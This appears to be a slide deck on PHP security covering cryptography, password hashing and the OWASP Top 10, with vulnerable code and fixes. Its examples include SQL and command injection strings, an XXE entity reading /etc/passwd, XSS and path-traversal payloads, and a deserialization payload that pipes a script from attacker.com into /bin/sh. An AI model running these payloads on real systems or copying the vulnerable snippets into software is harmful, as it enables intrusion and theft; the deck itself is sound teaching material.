Symmetric / Asymmetric
Symmetric
- Use a single defined key
- is fast
- AES with Rijndael
Asymmetric
- Use a public and private key
- is slower
- RSA, ECC
- digital signatures
What should i use?
- Encrypt the Message symmetric
- Encrypt the Key asymmetric
- Sign the Message-Hash
RSA (Rivest, Shamir and Adleman)
ECC (Eliptic Curve Cryptography)
- Faster in generating Keys
- ECC 256 Bit ==Same Security== RSA 3072 Bit
Symmetric / Asymmetric
Insecure encryption modes
head -n 4 example-image.ppm > header.txt && tail -n +5 example-image.ppm > body.bin
openssl enc -aes-128-cbc -nosalt -pass pass:"SECURE_PASSWORD" -in body.bin -out body.cbc.bin
cat header.txt body.cbc.bin > example-image.cbc.ppm
openssl enc -aes-128-ecb -nosalt -pass pass:"SECURE_PASSWORD" -in body.bin -out body.ecb.bin
cat header.txt body.ecb.bin > example-image.ecb.ppm
Diffie–Hellman key exchange
- Exchange keys over insecure connections
-
Not safe against MITM Attacks
- A signing is required with a previous received key
PQC (Post-quantum cryptography)
- Current asymmetric Crypto is not safe
- prime decomposition (RSA) and discrete logarithm (ECC) is not a problem anymore
-
current stored crypted messages can be unecrypted in the future
Requirements of Hash algorithms
- Low probability of collisions
- Output should be lower than input
- Chaos / Avalanche Effect
- calculation back should be impossible
- Same data should generate the same hash
- Should be fast and efficiency
Hashing
md5('text');
128 Bit NOT SECURE
sha1('text');
160 Bit, First collison 02/2017
hash('SHA512', 'text');
512 Bit, SHA2
hash('SHA3-512', 'text');
512 Bit, No known Issues
Hashing
Check always of type safety
var_dump(md5('240610708') == md5('QNKCDZO')); // true
$a = 0e462097431906509019562988736854; // double
$b = 0e830400451993494058024219903391; // double
- better
hash_equals()
- or
sodium_compare()
Password
- save never as plaintext
- use salt and pepper (with hmac) for hashes
- use slow hashing methods
$pepperFile = __DIR__ . '/.secret_password_pepper';
$password = '123456';
$salt = random_bytes(32);
if (!file_exists($pepperFile)) {
file_put_contents($pepperFile, random_bytes(64));
}
$pepper = file_get_contents($pepperFile);
$hashed = hash('sha3-512', $salt . $password);
$hashedHmac = hash_hmac('sha3-512', $hashed, $pepper);
echo 'Salt: ' . bin2hex($salt) . PHP_EOL;
echo 'Pepper: ' . bin2hex($pepper) . PHP_EOL;
echo $hashed . PHP_EOL;
echo $hashedHmac . PHP_EOL;
// Salt: c76eb9d865300c03e78e2169545ca7d8c3737bb51bd7b9948d993c06e12053ae
// Pepper: 573c9958b8374cfa5ff857f81484d3108ec5be503d57ed61e9ad54a5b52c4bf17b756bbb8599faa3ded5102708bca79360c1b42aa651b631417ed402905eca67
// 3493222c96d4552476947f5f4576ae3bb24111d344ea5bb328a077b5614f61e92227a7ad829d8034268353668aae29c980bad74f04294e547727784c3f5922b1
// 643cf52d5094b481d07a0d72d0bf808609247d8851dee3656f4c42e1adf2620cc87d60022327a872034bbb9b443d4f7b3c1173e12c4546a3cfddfae04cfed63b
Password hash
combines hashing with salt
// hash
password_hash("myPassword", PASSWORD_BCRYPT, ['cost' => 15]); // ~2 seconds
$res = '$2y$15$nGhD0QbXdvm5YBIF.OAKFOoVeFyK4AiRTF.rq.WnyFjhPRxiQeetm';
$res = '$2y$15$FRNSQUyNbqi1cJ6Qv.zlMuLOsBNuoxMtlOvC16VqTeuTip6Z8PhDa';
// for sensitive accounts
password_hash("myPassword", PASSWORD_ARGON2ID, [
'memory_cost' => PASSWORD_ARGON2_DEFAULT_MEMORY_COST, // 1024 kb
'time_cost' => PASSWORD_ARGON2_DEFAULT_TIME_COST, // 2 seconds
]);
// verify
var_dump(password_verify('myPassword', $hash)); // true, ~2 seconds
var_dump(password_verify('nyPassword', $hash)); // false, ~2 seconds
// needs rehash?
if (password_needs_rehash($hash, PASSWORD_BCRYPT, ['cost' => 20])) {
$newHash = password_hash($password, PASSWORD_BCRYPT, ['cost' => 20]);
}
- No timing attacks possible and Bruteforcing will take forever
Modern Crypto
-
Sodium PHP >= 7.2
- PASSWORD_ARGON2I PHP >= 7.2
- PASSWORD_ARGON2ID PHP >= 7.3
- NOT mcrypt!
Sodium
- A portable, cross-compilable, installable, packageable, API-compatible version of NaCl
- Support Signatures
- Support Hashing
- Secure pseudo-random Numbers
Example: Sodium
$password = 'password';
$hashSodium = sodium_crypto_pwhash_str(
$password,
SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE,
SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE
);
$hashPwHash = password_hash($password, PASSWORD_ARGON2ID); // Requires PHP 7.3+
sodium_memzero($password); // clears the memory
// sodium_crypto_pwhash_str_needs_rehash() needs a rehash?
assert(sodium_crypto_pwhash_str_verify($hashSodium, $password));
assert(password_verify($password, $hashPwHash));
assert(sodium_crypto_pwhash_str_verify($hashPwHash, $password));
assert(password_verify($password, $hashSodium));
Side Channel Attacks
// EXAMPLE! NEVER USE THIS FOR PRODUCTION!
function verifyOwnCrypt(string $password, string $validate): bool
{
$length = strlen($validate);
for ($i = 0; $i < $length; $i++) {
$char = $validate[$i]; usleep(500); // usleep to prevent bruteforcing
$chunk = (string)(ord($char) + 14);
if (substr($password, 0, strlen($chunk)) === $chunk) {
$password = substr($password, strlen($chunk));
} else {
return false;
}
}
return true;
}
$myPass = '1231359711511312811513094111129129133125128114'; // mySecretPassword
verifyOwnCrypt($myPass, 'mySecretPassword'); // true, 0.0092s
verifyOwnCrypt($myPass, 'aa'); // false, 0.0006s
verifyOwnCrypt($myPass, 'ma'); // false, 0.0012s
// PHP >= 5.6
hash_equals($knownString, $userString)
// PHP >= 7.2
sodium_compare();
- Measure the time or power consumption
OWASP
TOP 10 (2017)
- Injection
- Broken Authentication
- Sensitive Data Exposure
- XXE NEW
- Broken Access Control
- Security Misconfiguration
- XXS
- Insecure Deserialization
- Using Components with known Vulnerabilities NEW
- Insufficient Logging & Monitoring NEW
|
TOP 10 (2014)
- 8. CSRF
- 10. Unvalidated Redirects and Forwards
|
Injection (SQL)
PHP 10 Years ago
$user = $_POST['user'];
$passwordHash = sha1($_POST['password']);
$db->query("SELECT * FROM users WHERE username = '$user' AND password_hash = '$passwordHash'");
// foo' OR username = 'admin' --
PHP now with prepared statements
$user = $_POST['user'];
$passwordHash = sha1($_POST['password']);
$db->query("SELECT * FROM users WHERE username = :user AND password_hash = :hash", [
'user' => $user,
'hash' => $passwordHash
]);
Injection (SQL)
Prepared Statements and IN
$_GET['status'] = ['open', 'accepted'];
// No! Sql injection possible
$db->query("SELECT * FROM issues WHERE status IN ('". implode("','", $_GET['status']) ."')");
// Not working because the query looks like this: 'IN("open, accepted")'
$db->query("SELECT * FROM issues WHERE status IN (:status)", [
'status' => implode(',', $_GET['status'])
]);
// this works
$db->query("SELECT * FROM issues WHERE status IN (?,?)", $_GET['status']);
- Prepared Statements are not working for tablenames or fields
Injection
// command injection
$content = system('cat ./' . $_GET['file']); // $_GET['file'] = file;ls
// code injection
eval('$a = ' . $_GET['input'] . ' + 3;'); // $_GET['input'] 5;phpinfo();#
- create_function
- preg_match e modifier
Broken Authentication
- Bruteforce with dictionary attacks
- Ineffective credential recovery (Social Engineering)
-
Don't allow weak passwords
1LoveMyDogAndMyWife!OhAndPHPisCool:) -> very secure password, but that is a
other topic
Prevent
- Invalidate session, don't expose Session
- use multi factor authentication
Sensitive Data Exposure
- not using HTTPS
- Allow iterating over User-IDs
- Unencrypted communication between server
Sensitive Data Exposure
Expose information about registered emails
-
User registration form
- The E-Mail is already registered
-
Measure the response time
$allowedUserMail = ['user@domain.tld'];
$mySecretKey = sha1('mySuperSecurePassword');
if (!in_array($_GET['mail'], $allowedUserMail) {
exit('Access denied');
}
// if we found a correct email, the response time will increase
$userHash = sha1($_GET['password']);
if ($userHash !== $mySecretKey) {
exit('Access denied');
}
XML External Entities (XXE)
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]><foo>&xxe;</foo>
Default disabled with libxml2 version >= 2.9.0
libxml_disable_entity_loader(true);
Broken Access Control
/user/editprofile?userid=1
- Access Control only for GET Requests but not for POST
- Authentication process is too late
Broken Access Control
class UserController
{
public function resetPasswordAction()
{
$this->user->resetPassword();
}
}
class UserEventHandler
{
public function onDispatch()
{
if (!$this->authenticateUser()) {
throw new ErrorResponseException('Not authorized');
}
}
}
UserController is called before the UserEventHandler
You will not directly see the output and think it's safe
Security Misconfiguration
- MongoDB - default listening on IP
0.0.0.0
=< 2.6.0
- Directory listing is not disabled
- Print full exception and error messages
- PHP
open_basedir
Cross-Site-Scripting (XSS)
Reflected XSS
<!-- ?user=<script>alert(/Reflected XSS/)</script> -->
Hello: <?php echo $_GET['user']; ?>
DOM XSS
- Load controllable JS-Library on demand
Cross-Site-Scripting (XSS)
Self XSS
.d8888b. 888 888
d88P Y88b 888 888
Y88b. 888 888 This is a browser feature intended for
"Y888b. 888888 .d88b. 88888b. 888 developers. If someone told you to copy-paste
"Y88b. 888 d88""88b 888 "88b 888 something here to enable a Facebook feature
"888 888 888 888 888 888 Y8P or "hack" someone's account, it is a
Y88b d88P Y88b. Y88..88P 888 d88P scam and will give them access to your
"Y8888P" "Y888 "Y88P" 88888P" 888 Facebook account.
888
888
888
Insecure Deserialization
-
never (un)serialize user data
- define 3. parameter with allowed_classes
- Unserialize a known class and run
__destruct
- Create new
SimpleXMLElement
with XXE
Insecure Deserialization
class FileHandler
{
private $temporaryFile = '';
public function __destruct()
{
exec('rm ' . $this->temporaryFile);
}
}
$userData = unserialize($_POST['userData']);
// a:2:{s:6:"userID";i:1;s:5:"token";s:3:"foo";}
// Array ( [userID] => 1, [token] => foo)
a:3:{s:6:"userID";i:1;s:5:"token";s:3:"foo";s:3:"tmp";O:11:"FileHandler":1:{s:26:"FileHandlertemporaryFile";s:57:"/tmp/file;wget -O- http://attacker.com/shell.sh | /bin/sh";}}
Insecure Deserialization
.phar
File Meta-File injection
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
// add object as meta data
$object = new FileHandler();
$object->temporaryFile = ';shell execution';
$phar->setMetadata($object);
$phar->stopBuffering();
Insecure Deserialization
if (file_exists($_GET['file'])) {}
// ?file=phar:///uploads/test.phar
- The metadata of the phar comment will be unserialized and executed!
Prevent
- Set file handler for each file operation function:
"https", "ftps", "compress.zlib", "php", "file", "glob", "data", "http", "ftp", "phar", "zip"
file_exists('file://' . $_GET['file']) // safe
Using Components with known Vulnerabilities
- Use Composer
security-checker
- Use npm
npm audit
- Update the Software as soon as possible
Insufficient Logging & Monitoring
-
Log all the things
- Bruteforce
- Failed security validations
- attack rate
- Push the logs to another system
- no attacker should be able to delete the logs
-
An Security audit should be visible in the Monitoring system
- OWASP ZAP
- DAST and SAST Tools
Cross Site Request Forgery (CSRF)
- Attack the user with his Authentication without stealing it
- Add CSRF-Tokens for all Requests
- even for POST Requests
- and for XHR
POST /user/changeEmail
Host: domain.tld
Content-Type: application/json
{"newEmail": "attacker@example.com"}
Unvalidated Redirects and Forwards
-
Forward a user with a HTTP Redirect to any site
- Redirect the user to a phishing Site
Howto Prevent?
and examples
Howto Prevent?
- Don't trust the User
- Don't trust your Software
-
Never trust your own Crypto
- Just, don't use your own crypto at all
- Create a Bugbounty Program (after you have sufficient logging!)
- DAST and SAST in the Nightly builds
Don't trust your Software
$email = '"><svg/onload=confirm(1)>"@x.y';
if (filter_validate($email, FILTER_EMAIL)) {
printf('<a href="mailto:%s">%s</a>', $email, $email);
}
Do whitelisting, no blacklisting
// prevent path traversals
$file = str_replace('../', '', $_GET['file']);
echo file_get_contents('./path/to/files/' . $file);
// /attack.php?file=..././..././..././index.php
Don't Hydrate all the data
class User {
private $username;
private $email;
public static function createFromPost(array $postData): self
{
$user = new self();
array_walk($postData, function($value, $key) use ($user) {
$user->{$key} = $value;
});
return $user;
}
}
User::createFromPost([
'username' => 'User',
'email' => 'User@domain.tld',
]);
class User {
// [...]
private $isAdmin = false;
}
Prevent sensitive leaks in logs
<?php
class DatabaseConnection
{
private $adapter;
public function __construct()
{
$this->adapter = new class() {
public function login(string $user, string $pass): bool {
return false;
}
};
}
public function login(string $username, string $password)
{
if (!$this->adapter->login($username, $password)) {
throw new \Exception('Login to database failed', 100);
}
}
}
$connection = new DatabaseConnection();
$connection->login('db_user', 'secretpassword');
❯ php example.php
PHP Fatal error: Uncaught Exception: Login to database failed in /example.php:17
Stack trace:
#0 /example.php(23): DatabaseConnection->login('db_user', 'secretpassword')
#1 {main}
thrown in /example.php on line 8
Prevent sensitive leaks in logs
<?php
class DatabaseConnection
{
public function login(HiddenString $username, HiddenString $password)
{
if (!$this->adapter->login($username->getValue(), $password->getValue())) {
throw new \Exception('Login to database failed', 100);
}
}
}
final class HiddenString
{
private $value;
public function __construct(string $input)
{
$this->value = $input;
}
public function getValue(): string
{
return $this->value;
}
}
$connection = new DatabaseConnection();
$connection->login(new HiddenString('db_user'), new HiddenString('secretpassword'));
❯ php example.php
PHP Fatal error: Uncaught Exception: Login to database failed in /example.php:7
Stack trace:
#0 /example.php(26): DatabaseConnection->login(Object(HiddenString), Object(HiddenString))
#1 {main}
thrown in /example.php on line 7
Prevent dumps of objects in logs
<?php
final class HiddenString
{
private $value;
public function __construct(string $input)
{
$this->value = $input;
}
public function getValue(): string
{
return $this->value;
}
public function __debugInfo(): array
{
return [
'value' => '****Obfuscated****'
];
}
}
$text = new HiddenString('secret');
var_dump($text);
print_r($text);
class HiddenString#1 (1) {
public $value =>
string(18) "****Obfuscated****"
}
HiddenString Object
(
[value] => ****Obfuscated****
)
Obfuscating with object
- Overwrite PHP
__debugInfo
to prevent Data-Leaks in Logs and Debugger
- Write a custom
HiddenString
Class for sensitive Informations as Arguments
Disable visible errors
if (hash('sha512', $_GET['user']) === $storedHash) {
echo 'Hello User!';
}
// example.php?user[]=oh&user[]=no
Warning: hash() expects parameter 2 to be string, array given
Use stronger Hashes
// Convert all old hashes with a cost < 20 to the new hash on the fly
if (password_needs_rehash($hash, PASSWORD_BCRYPT, ['cost' => 20])) {
$newHash = password_hash($password, PASSWORD_BCRYPT, ['cost' => 20]);
}
Use of HTTP-Header
Content-Security-Policy: default-src https://domain.tld; img-src *; report-uri https://domain.tld/report/csp
Content-Security-Policy: script-src 'unsafe-inline';
// Content-Security-Policy: script-src 'nonce-2726c7f26c';
<script nonce="2726c7f26c">
var inline = 1;
</script>
-
X-Frame-Options – Prevent clickjacking
- "deny", "sameorigin", "allow-from https://domain.tld/"
-
X-XSS-Protection
Use of HTTP-Header
- Strict-Transport-Security (HSTS) – Prevent MITM Attacks
- max-age=31536000; includeSubDomains
- Set-Cookie
- secure – only over HTTPS
- httpOnly – not available with
document.cookie
-
Referrer-Policy
- strict-origin
<a referrerpolicy="origin"
<a rel="noreferrer"
Combine attacks
- Use Clickjacking to execute selfXSS to a user
- Use phar meta file deserialization to run XXE
- Use CSRF to SQL-Inject a admin page with higher privileges
- ... much more
Check out the OWASP Juice Shop
docker run --rm -p 3000:3000 bkimminich/juice-shop
Attack yourself
- DAST with OWASP ZAProxy
- SAST with phpcs-security-audit
- nmap – Check your Network
- sqlmap – Check for SQLi
- Metasploit Framework
- ... many many more
No prevention will be very expensive